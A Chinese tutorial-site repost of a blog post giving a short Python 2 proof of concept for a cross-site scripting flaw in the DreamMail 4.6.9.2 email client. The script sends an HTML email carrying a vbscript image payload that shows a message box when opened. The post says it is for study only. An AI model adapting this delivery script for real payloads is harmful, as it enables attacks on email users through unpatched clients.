来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 转载请注明:@小五义http://www.cnblogs.com/xiaowuyi针对版本:DreamMail 4.6.9.2测试环境:windows xp sp3python版本:2.6测试邮箱:126.com#-*- coding:UTF-8 -*-#@小五义 http://www.cnblogs.com/xiao......
转载请注明:@小五义 http://www.cnblogs.com/xiaowuyi
针对版本: DreamMail 4.6.9.2 python版本:2.6 测试邮箱:126.com #-*- coding:UTF-8 -*- #@小五义 http://www.cnblogs.com/xiaowuyi import smtplib, urllib2 payload = '''<IMG SRC='vbscript:msgbox("Hello world!")'>''' def sendMail(toemail, smtpsrv, username, password): msg = "From: XXXX@126.com\n" msg += "To:YYYY@126.com\n" msg += 'Date: Today\r\n' msg += "Subject: XSS payload\n" msg += "Content-type: text/html\n\n" msg += payload + "\r\n\r\n" server = smtplib.SMTP() server.connect(smtpsrv) server.login(username,password) try: server.sendmail(username, toemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "XXXX@126.com" #也可使用其它邮件服务器 password = "XXXXX" #密码 toemail = "YYYY@126.com" smtpsrv = "smtp.126.com" print "[*] Sending Email" sendMail(toemail, smtpsrv, username, password) 发送成功后,当用dreammail浏览该邮件时,会弹窗提示,如下: 该博文仅供学习交流。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com